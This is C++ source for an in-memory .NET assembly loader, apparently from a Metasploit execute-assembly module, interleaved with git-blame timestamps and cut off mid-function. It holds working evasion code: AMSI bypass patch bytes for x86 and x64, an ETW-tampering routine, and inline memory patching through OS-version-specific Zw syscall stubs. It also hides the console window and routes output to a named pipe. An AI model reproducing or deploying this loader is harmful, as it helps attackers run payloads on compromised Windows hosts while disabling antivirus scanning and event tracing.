2019-11-12 20:05:32 +01:00
|
|
|
// Author: B4rtik (@b4rtik)
|
|
|
|
|
// Project: Execute Assembly (https://github.com/b4rtik/metasploit-execute-assembly)
|
|
|
|
|
// License: BSD 3-Clause
|
|
|
|
|
// based on
|
|
|
|
|
// https://github.com/etormadiv/HostingCLR
|
|
|
|
|
// by Etor Madiv
|
|
|
|
|
|
|
|
|
|
#include "stdafx.h"
|
|
|
|
|
#include <stdio.h>
|
2020-03-29 18:23:45 +02:00
|
|
|
#include <windows.h>
|
|
|
|
|
#include <evntprov.h>
|
2019-11-12 20:05:32 +01:00
|
|
|
#include "HostingCLR.h"
|
2020-03-29 18:23:45 +02:00
|
|
|
#include "EtwTamper.h"
|
|
|
|
|
|
|
|
|
|
// https://docs.microsoft.com/en-us/dotnet/framework/performance/etw-events-in-the-common-language-runtime
|
|
|
|
|
#define ModuleLoad_V2 152
|
|
|
|
|
#define AssemblyDCStart_V1 155
|
|
|
|
|
#define MethodLoadVerbose_V1 143
|
|
|
|
|
#define MethodJittingStarted 145
|
|
|
|
|
#define ILStubGenerated 88
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-26 09:34:11 +10:00
|
|
|
#define ReportErrorThroughPipe(pipe, format, ...) {char buf[1024]; DWORD written; snprintf(buf, 1024, format, __VA_ARGS__); WriteFile(pipe, buf, (DWORD)strlen(buf), &written, NULL);}
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2020-03-29 18:23:45 +02:00
|
|
|
// mov rax, <Hooked function address>
|
|
|
|
|
// jmp rax
|
|
|
|
|
unsigned char uHook[] = {
|
2023-06-26 09:34:11 +10:00
|
|
|
0xC3
|
2020-03-29 18:23:45 +02:00
|
|
|
};
|
|
|
|
|
|
2019-11-12 20:05:32 +01:00
|
|
|
#ifdef _X32
|
|
|
|
|
unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 };
|
|
|
|
|
SIZE_T patchsize = 8;
|
|
|
|
|
#endif
|
|
|
|
|
#ifdef _X64
|
|
|
|
|
unsigned char amsipatch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
|
|
|
|
|
SIZE_T patchsize = 6;
|
|
|
|
|
#endif
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
struct Metadata
|
|
|
|
|
{
|
|
|
|
|
unsigned int pipenameLength;
|
|
|
|
|
unsigned int appdomainLength;
|
|
|
|
|
unsigned int clrVersionLength;
|
|
|
|
|
unsigned int argsSize;
|
|
|
|
|
unsigned int assemblySize;
|
|
|
|
|
unsigned char amsiBypass;
|
|
|
|
|
unsigned char etwBypass;
|
|
|
|
|
};
|
2023-06-19 12:36:32 +10:00
|
|
|
DWORD METADATA_SIZE = 22;
|
2019-11-12 20:05:32 +01:00
|
|
|
|
|
|
|
|
int executeSharp(LPVOID lpPayload)
|
|
|
|
|
{
|
|
|
|
|
HRESULT hr;
|
|
|
|
|
|
|
|
|
|
ICLRMetaHost* pMetaHost = NULL;
|
|
|
|
|
ICLRRuntimeInfo* pRuntimeInfo = NULL;
|
|
|
|
|
BOOL bLoadable;
|
|
|
|
|
ICorRuntimeHost* pRuntimeHost = NULL;
|
|
|
|
|
IUnknownPtr pAppDomainThunk = NULL;
|
2023-06-21 11:56:50 +10:00
|
|
|
_AppDomainPtr pCustomAppDomain = NULL;
|
2023-06-26 09:34:11 +10:00
|
|
|
IEnumUnknown* pEnumerator = NULL;
|
2019-11-12 20:05:32 +01:00
|
|
|
_AssemblyPtr pAssembly = NULL;
|
|
|
|
|
SAFEARRAYBOUND rgsabound[1];
|
|
|
|
|
_MethodInfoPtr pMethodInfo = NULL;
|
|
|
|
|
VARIANT retVal;
|
|
|
|
|
VARIANT obj;
|
2023-06-21 11:56:50 +10:00
|
|
|
SAFEARRAY* psaStaticMethodArgs;
|
2023-06-19 12:36:32 +10:00
|
|
|
SAFEARRAY* psaEntryPointParameters;
|
2019-11-12 20:05:32 +01:00
|
|
|
VARIANT vtPsa;
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
char* pipeName = NULL;
|
|
|
|
|
char* appdomainName = NULL;
|
|
|
|
|
char* clrVersion = NULL;
|
|
|
|
|
wchar_t* clrVersion_w = NULL;
|
|
|
|
|
BYTE* arg_s = NULL;
|
|
|
|
|
wchar_t* appdomainName_w = NULL;
|
|
|
|
|
|
|
|
|
|
Metadata metadata;
|
|
|
|
|
|
|
|
|
|
// Structure of lpPayload:
|
|
|
|
|
// - Packed metadata, including lengths of the following fields
|
|
|
|
|
// - Pipe name (ASCII)
|
|
|
|
|
// - Appdomain name (ASCII)
|
|
|
|
|
// - Clr Version Name (ASCII)
|
|
|
|
|
// - Param data
|
|
|
|
|
// - Assembly data
|
|
|
|
|
|
|
|
|
|
memcpy(&metadata, lpPayload, METADATA_SIZE);
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
BYTE* data_ptr = (BYTE*)lpPayload + METADATA_SIZE;
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
pipeName = (char*)malloc((metadata.pipenameLength + 1) * sizeof(char));
|
|
|
|
|
memcpy(pipeName, data_ptr, metadata.pipenameLength);
|
|
|
|
|
pipeName[metadata.pipenameLength] = 0; // Null-terminate
|
|
|
|
|
data_ptr += metadata.pipenameLength;
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
appdomainName = (char*)malloc((metadata.appdomainLength + 1) * sizeof(char));
|
|
|
|
|
memcpy(appdomainName, data_ptr, metadata.appdomainLength);
|
|
|
|
|
appdomainName[metadata.appdomainLength] = 0; // Null-terminate
|
|
|
|
|
data_ptr += metadata.appdomainLength;
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
clrVersion = (char*)malloc((metadata.clrVersionLength + 1) * sizeof(char));
|
|
|
|
|
memcpy(clrVersion, data_ptr, metadata.clrVersionLength);
|
|
|
|
|
clrVersion[metadata.clrVersionLength] = 0; // Null-terminate
|
|
|
|
|
data_ptr += metadata.clrVersionLength;
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
// Convert to wchar
|
|
|
|
|
clrVersion_w = new wchar_t[metadata.clrVersionLength + 1];
|
|
|
|
|
mbstowcs(clrVersion_w, clrVersion, metadata.clrVersionLength + 1);
|
|
|
|
|
|
|
|
|
|
arg_s = (unsigned char*)malloc(metadata.argsSize * sizeof(BYTE));;
|
|
|
|
|
memcpy(arg_s, data_ptr, metadata.argsSize);
|
|
|
|
|
data_ptr += metadata.argsSize;
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
////////////////// Hijack stdout
|
2020-02-23 13:11:21 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
// Create a pipe to send data
|
|
|
|
|
HANDLE pipe = CreateNamedPipeA(
|
|
|
|
|
pipeName, // name of the pipe
|
|
|
|
|
PIPE_ACCESS_OUTBOUND, // 1-way pipe -- send only
|
|
|
|
|
PIPE_TYPE_BYTE, // send data as a message stream
|
|
|
|
|
1, // only allow 1 instance of this pipe
|
|
|
|
|
0, // no outbound buffer
|
|
|
|
|
0, // no inbound buffer
|
|
|
|
|
0, // use default wait time
|
|
|
|
|
NULL // use default security attributes
|
|
|
|
|
);
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
if (pipe == NULL || pipe == INVALID_HANDLE_VALUE) {
|
|
|
|
|
//printf("[CLRHOST] Failed to create outbound pipe instance.\n");
|
|
|
|
|
hr = -1;
|
|
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
// This call blocks until a client process connects to the pipe
|
|
|
|
|
BOOL result = ConnectNamedPipe(pipe, NULL);
|
|
|
|
|
if (!result) {
|
|
|
|
|
//printf("[CLRHOST] Failed to make connection on named pipe.\n");
|
|
|
|
|
hr = -1;
|
|
|
|
|
goto Cleanup;
|
|
|
|
|
}
|
2020-03-29 18:23:45 +02:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
SetStdHandle(STD_OUTPUT_HANDLE, pipe);
|
|
|
|
|
SetStdHandle(STD_ERROR_HANDLE, pipe);
|
2020-10-29 22:49:41 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
///////////////////// Done hijacking stdout
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
rgsabound[0].cElements = metadata.assemblySize;
|
|
|
|
|
rgsabound[0].lLbound = 0;
|
|
|
|
|
SAFEARRAY* pSafeArray = SafeArrayCreate(VT_UI1, 1, rgsabound);
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
void* pvData = NULL;
|
|
|
|
|
hr = SafeArrayAccessData(pSafeArray, &pvData);
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
if (FAILED(hr))
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayAccessData w/hr 0x%08lx\n", hr);
|
|
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
// Store assembly
|
|
|
|
|
memcpy(pvData, data_ptr, metadata.assemblySize);
|
|
|
|
|
|
2019-11-12 20:05:32 +01:00
|
|
|
hr = SafeArrayUnaccessData(pSafeArray);
|
|
|
|
|
|
|
|
|
|
if (FAILED(hr))
|
|
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed SafeArrayUnaccessData w/hr 0x%08lx\n", hr);
|
|
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
2023-06-19 12:36:32 +10:00
|
|
|
// Etw bypass
|
2023-06-21 11:56:50 +10:00
|
|
|
if (metadata.etwBypass)
|
2020-03-29 18:23:45 +02:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
int ptcResult = PatchEtw(pipe);
|
2020-03-29 18:23:45 +02:00
|
|
|
if (ptcResult == -1)
|
|
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Etw bypass failed\n");
|
|
|
|
|
goto Cleanup;
|
2020-03-29 18:23:45 +02:00
|
|
|
}
|
|
|
|
|
}
|
2023-06-21 11:56:50 +10:00
|
|
|
HMODULE hMscoree = LoadLibrary("mscoree.dll");
|
|
|
|
|
FARPROC clrCreateInstance = GetProcAddress(hMscoree, "CLRCreateInstance");
|
|
|
|
|
if (clrCreateInstance == NULL)
|
|
|
|
|
{
|
2023-06-26 09:34:11 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance not present on this system.\n");
|
2023-06-21 11:56:50 +10:00
|
|
|
goto Cleanup;
|
|
|
|
|
}
|
2019-11-12 20:05:32 +01:00
|
|
|
hr = CLRCreateInstance(CLSID_CLRMetaHost, IID_ICLRMetaHost, (VOID**)&pMetaHost);
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
if (FAILED(hr))
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] CLRCreateInstance failed w/hr 0x%08lx\n", hr);
|
|
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, GetCurrentProcessId());
|
|
|
|
|
hr = pMetaHost->EnumerateLoadedRuntimes(hProcess, &pEnumerator);
|
|
|
|
|
|
|
|
|
|
if (FAILED(hr))
|
|
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot enumerate loaded runtime w/hr 0x%08lx\n", hr);
|
|
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
BOOL isloaded = ClrIsLoaded(clrVersion_w, pEnumerator, (VOID**)&pRuntimeInfo);
|
|
|
|
|
|
|
|
|
|
if (!isloaded)
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
hr = pMetaHost->GetRuntime(clrVersion_w, IID_ICLRRuntimeInfo, (VOID**)&pRuntimeInfo);
|
2019-11-12 20:05:32 +01:00
|
|
|
|
|
|
|
|
if (FAILED(hr))
|
|
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot get the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
|
|
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
hr = pRuntimeInfo->IsLoadable(&bLoadable);
|
|
|
|
|
|
|
|
|
|
if (FAILED(hr) || !bLoadable)
|
|
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Cannot load the required CLR version (%s) w/hr 0x%08lx\n", clrVersion, hr);
|
|
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
hr = pRuntimeInfo->GetInterface(CLSID_CorRuntimeHost, IID_ICorRuntimeHost, (VOID**)&pRuntimeHost);
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
if (FAILED(hr))
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] ICLRRuntimeInfo::GetInterface failed w/hr 0x%08lx\n", hr);
|
|
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (!isloaded)
|
|
|
|
|
{
|
|
|
|
|
hr = pRuntimeHost->Start();
|
|
|
|
|
}
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
if (FAILED(hr))
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] CLR failed to start w/hr 0x%08lx\n", hr);
|
|
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
// Convert to wchar
|
|
|
|
|
appdomainName_w = new wchar_t[metadata.appdomainLength+1];
|
|
|
|
|
mbstowcs(appdomainName_w, appdomainName, metadata.appdomainLength+1);
|
|
|
|
|
|
|
|
|
|
hr = pRuntimeHost->CreateDomain(appdomainName_w, NULL, &pAppDomainThunk);
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
if (FAILED(hr))
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] ICorRuntimeHost::CreateDomain failed w/hr 0x%08lx\n", hr);
|
|
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
hr = pAppDomainThunk->QueryInterface(__uuidof(_AppDomain), (VOID**)&pCustomAppDomain);
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
if (FAILED(hr))
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to get default AppDomain w/hr 0x%08lx\n", hr);
|
|
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
2023-06-26 09:34:11 +10:00
|
|
|
// Amsi bypass
|
|
|
|
|
if (metadata.amsiBypass)
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
int ptcResult = PatchAmsi(pipe);
|
2020-03-29 18:23:45 +02:00
|
|
|
if (ptcResult == -1)
|
2020-03-29 00:19:25 +01:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Amsi bypass failed\n");
|
|
|
|
|
goto Cleanup;
|
2020-03-29 00:19:25 +01:00
|
|
|
}
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
hr = pCustomAppDomain->Load_3(pSafeArray, &pAssembly);
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
if (FAILED(hr))
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pCustomAppDomain->Load_3 w/hr 0x%08lx\n", hr);
|
|
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
hr = pAssembly->get_EntryPoint(&pMethodInfo);
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
if (FAILED(hr))
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed pAssembly->get_EntryPoint w/hr 0x%08lx\n", hr);
|
|
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
2023-06-19 12:36:32 +10:00
|
|
|
// Let's check the number of parameters: must be either the 0-arg Main(), or a 1-arg Main(string[])
|
|
|
|
|
pMethodInfo->GetParameters(&psaEntryPointParameters);
|
|
|
|
|
hr = SafeArrayLock(psaEntryPointParameters);
|
|
|
|
|
if (!SUCCEEDED(hr))
|
|
|
|
|
{
|
2023-06-19 12:55:08 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to lock param array w/hr 0x%08lx\n", hr);
|
2023-06-19 12:36:32 +10:00
|
|
|
goto Cleanup;
|
|
|
|
|
}
|
|
|
|
|
long uBound, lBound;
|
|
|
|
|
SafeArrayGetLBound(psaEntryPointParameters, 1, &lBound);
|
|
|
|
|
SafeArrayGetUBound(psaEntryPointParameters, 1, &uBound);
|
|
|
|
|
long numArgs = uBound - lBound + 1;
|
|
|
|
|
hr = SafeArrayUnlock(psaEntryPointParameters);
|
|
|
|
|
if (!SUCCEEDED(hr))
|
|
|
|
|
{
|
2023-06-19 12:55:08 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Failed to unlock param array w/hr 0x%08lx\n", hr);
|
2023-06-19 12:36:32 +10:00
|
|
|
goto Cleanup;
|
|
|
|
|
}
|
|
|
|
|
|
2019-11-12 20:05:32 +01:00
|
|
|
ZeroMemory(&retVal, sizeof(VARIANT));
|
|
|
|
|
ZeroMemory(&obj, sizeof(VARIANT));
|
2023-06-21 11:56:50 +10:00
|
|
|
|
2019-11-12 20:05:32 +01:00
|
|
|
obj.vt = VT_NULL;
|
|
|
|
|
vtPsa.vt = (VT_ARRAY | VT_BSTR);
|
|
|
|
|
|
2023-06-19 12:36:32 +10:00
|
|
|
switch (numArgs)
|
|
|
|
|
{
|
|
|
|
|
case 0:
|
|
|
|
|
if (metadata.argsSize > 1) // There is always a Null byte at least, so "1" in size means "0 args"
|
|
|
|
|
{
|
2023-06-19 12:55:08 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Assembly takes no arguments, but some were provided\n");
|
2023-06-19 12:36:32 +10:00
|
|
|
goto Cleanup;
|
|
|
|
|
}
|
|
|
|
|
// If no parameters set cElement to 0
|
|
|
|
|
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 0);
|
|
|
|
|
break;
|
|
|
|
|
case 1:
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
2023-06-19 12:36:32 +10:00
|
|
|
// If we have at least 1 parameter set cElement to 1
|
2019-11-12 20:05:32 +01:00
|
|
|
psaStaticMethodArgs = SafeArrayCreateVector(VT_VARIANT, 0, 1);
|
|
|
|
|
|
2023-06-19 12:55:08 +10:00
|
|
|
// Here we unfortunately need to do a trick. CommandLineToArgvW treats the first argument differently, as
|
|
|
|
|
// it expects it to be a filename. This affects situations where the first argument contains backslashes,
|
|
|
|
|
// or if there are no arguments at all (it will just create one - the process's image name).
|
|
|
|
|
// To coerce it into performing the correct data transformation, we create a fake first parameter, and then
|
|
|
|
|
// ignore it in the output.
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
LPWSTR* szArglist;
|
2020-02-25 13:58:56 +01:00
|
|
|
int nArgs;
|
2023-06-19 12:55:08 +10:00
|
|
|
wchar_t* wtext = (wchar_t*)malloc((sizeof(wchar_t) * (metadata.argsSize + 2)));
|
|
|
|
|
wtext[0] = L'X'; // Fake process name
|
|
|
|
|
wtext[1] = L' '; // Separator
|
|
|
|
|
|
2020-02-23 13:11:21 +01:00
|
|
|
|
2023-06-19 12:55:08 +10:00
|
|
|
mbstowcs(wtext+2, (char*)arg_s, metadata.argsSize);
|
2020-02-25 13:58:56 +01:00
|
|
|
szArglist = CommandLineToArgvW(wtext, &nArgs);
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2020-03-29 00:19:25 +01:00
|
|
|
free(wtext);
|
|
|
|
|
|
2023-06-19 12:55:08 +10:00
|
|
|
vtPsa.parray = SafeArrayCreateVector(VT_BSTR, 0, nArgs - 1); // Subtract 1, to ignore the fake process name
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-19 12:55:08 +10:00
|
|
|
for (long i = 1; i < nArgs; i++) // Start a 1 - ignoring the fake process name
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
|
|
|
|
size_t converted;
|
2020-02-25 13:58:56 +01:00
|
|
|
size_t strlength = wcslen(szArglist[i]) + 1;
|
2023-06-21 11:56:50 +10:00
|
|
|
OLECHAR* sOleText1 = new OLECHAR[strlength];
|
|
|
|
|
char* buffer = (char*)malloc(strlength * sizeof(char));
|
|
|
|
|
|
2020-02-25 13:58:56 +01:00
|
|
|
wcstombs(buffer, szArglist[i], strlength);
|
2023-06-21 11:56:50 +10:00
|
|
|
|
2020-02-25 13:58:56 +01:00
|
|
|
mbstowcs_s(&converted, sOleText1, strlength, buffer, strlength);
|
2019-11-12 20:05:32 +01:00
|
|
|
BSTR strParam1 = SysAllocString(sOleText1);
|
2023-06-19 12:55:08 +10:00
|
|
|
long actualPosition = i - 1;
|
|
|
|
|
SafeArrayPutElement(vtPsa.parray, &actualPosition, strParam1);
|
2020-02-25 13:58:56 +01:00
|
|
|
free(buffer);
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
2020-02-25 13:58:56 +01:00
|
|
|
|
2023-06-19 12:55:08 +10:00
|
|
|
LocalFree(szArglist);
|
|
|
|
|
|
2019-11-12 20:05:32 +01:00
|
|
|
long iEventCdIdx(0);
|
|
|
|
|
hr = SafeArrayPutElement(psaStaticMethodArgs, &iEventCdIdx, &vtPsa);
|
2023-06-19 12:36:32 +10:00
|
|
|
break;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
2023-06-19 12:36:32 +10:00
|
|
|
default:
|
2023-06-19 12:55:08 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Unexpected argument length: %d\n", numArgs);
|
2023-06-19 12:36:32 +10:00
|
|
|
goto Cleanup;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
2023-06-19 12:36:32 +10:00
|
|
|
|
|
|
|
|
//Assembly execution
|
2019-11-12 20:05:32 +01:00
|
|
|
hr = pMethodInfo->Invoke_3(obj, psaStaticMethodArgs, &retVal);
|
2023-06-21 11:56:50 +10:00
|
|
|
if (FAILED(hr))
|
2019-11-12 20:05:32 +01:00
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
ReportErrorThroughPipe(pipe, "[CLRHOST] Unhandled exception when running assembly w/hr 0x%08lx\n", hr);
|
|
|
|
|
goto Cleanup;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
Cleanup:
|
|
|
|
|
|
|
|
|
|
FlushFileBuffers(pipe);
|
|
|
|
|
DisconnectNamedPipe(pipe);
|
|
|
|
|
CloseHandle(pipe);
|
|
|
|
|
|
|
|
|
|
if (pEnumerator) {
|
|
|
|
|
pEnumerator->Release();
|
|
|
|
|
}
|
|
|
|
|
if (pMetaHost) {
|
|
|
|
|
pMetaHost->Release();
|
|
|
|
|
}
|
|
|
|
|
if (pRuntimeInfo) {
|
|
|
|
|
pRuntimeInfo->Release();
|
|
|
|
|
}
|
2023-06-26 09:34:11 +10:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
if (pRuntimeHost) {
|
|
|
|
|
if (pCustomAppDomain) {
|
2023-06-23 14:01:45 +10:00
|
|
|
pRuntimeHost->UnloadDomain(pCustomAppDomain);
|
2023-06-21 11:56:50 +10:00
|
|
|
}
|
|
|
|
|
pRuntimeHost->Release();
|
|
|
|
|
}
|
2023-06-23 14:01:45 +10:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
if (psaStaticMethodArgs) {
|
|
|
|
|
SafeArrayDestroy(psaStaticMethodArgs);
|
|
|
|
|
}
|
|
|
|
|
if (pSafeArray) {
|
|
|
|
|
SafeArrayDestroy(pSafeArray);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (appdomainName) {
|
|
|
|
|
free(appdomainName);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (clrVersion) {
|
|
|
|
|
free(clrVersion);
|
|
|
|
|
}
|
|
|
|
|
if (clrVersion_w) {
|
|
|
|
|
delete[] clrVersion_w;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (arg_s) {
|
|
|
|
|
free(arg_s);
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (appdomainName_w) {
|
|
|
|
|
delete[] appdomainName_w;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
return hr;
|
2019-11-12 20:05:32 +01:00
|
|
|
}
|
|
|
|
|
|
|
|
|
|
VOID Execute(LPVOID lpPayload)
|
|
|
|
|
{
|
2023-06-21 11:56:50 +10:00
|
|
|
// Attach or create console
|
|
|
|
|
if (GetConsoleWindow() == NULL) {
|
2019-11-12 20:05:32 +01:00
|
|
|
AllocConsole();
|
2023-06-21 11:56:50 +10:00
|
|
|
HWND wnd = GetConsoleWindow();
|
|
|
|
|
if (wnd)
|
|
|
|
|
ShowWindow(wnd, SW_HIDE);
|
|
|
|
|
}
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
HANDLE stdOut = GetStdHandle(STD_OUTPUT_HANDLE);
|
|
|
|
|
HANDLE stdErr = GetStdHandle(STD_ERROR_HANDLE);
|
2019-11-12 20:05:32 +01:00
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
executeSharp(lpPayload);
|
|
|
|
|
SetStdHandle(STD_OUTPUT_HANDLE, stdOut);
|
|
|
|
|
SetStdHandle(STD_ERROR_HANDLE, stdErr);
|
2019-11-12 20:05:32 +01:00
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
2023-06-21 11:56:50 +10:00
|
|
|
INT InlinePatch(LPVOID lpFuncAddress, UCHAR* patch, int patchsize) {
|
2020-03-29 18:23:45 +02:00
|
|
|
PNT_TIB pTIB = NULL;
|
|
|
|
|
PTEB pTEB = NULL;
|
|
|
|
|
PPEB pPEB = NULL;
|
|
|
|
|
|
|
|
|
|
// Get pointer to the TEB
|
|
|
|
|
pTIB = (PNT_TIB)__readgsqword(0x30);
|
|
|
|
|
pTEB = (PTEB)pTIB->Self;
|
|
|
|
|
|
|
|
|
|
// Get pointer to the PEB
|
|
|
|
|
pPEB = (PPEB)pTEB->ProcessEnvironmentBlock;
|
|
|
|
|
if (pPEB == NULL) {
|
|
|
|
|
return -1;
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
if (pPEB->OSMajorVersion == 10 && pPEB->OSMinorVersion == 0) {
|
|
|
|
|
ZwProtectVirtualMemory = &ZwProtectVirtualMemory10;
|
|
|
|
|
ZwWriteVirtualMemory = &ZwWriteVirtualMemory10;
|
|
|
|
|
}
|
|
|
|
|
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 1 && pPEB->OSBuildNumber == 7601) {
|
|
|
|
|
ZwProtectVirtualMemory = &ZwProtectVirtualMemory7SP1;
|
|
|
|
|
ZwWriteVirtualMemory = &ZwWriteVirtualMemory7SP1;
|
|
|
|
|
}
|
|
|
|
|
else if (pPEB->OSMajorVersion == 6 && pPEB->OSMinorVersion == 2) {
|
|
|
|
|
ZwProtectVirtualMemory = &ZwProtectVirtualMemory80;
|
|
|
|
|
ZwWriteVirtualMemory = &ZwWriteVirtualMemory80;
|
|
|
|
|
}
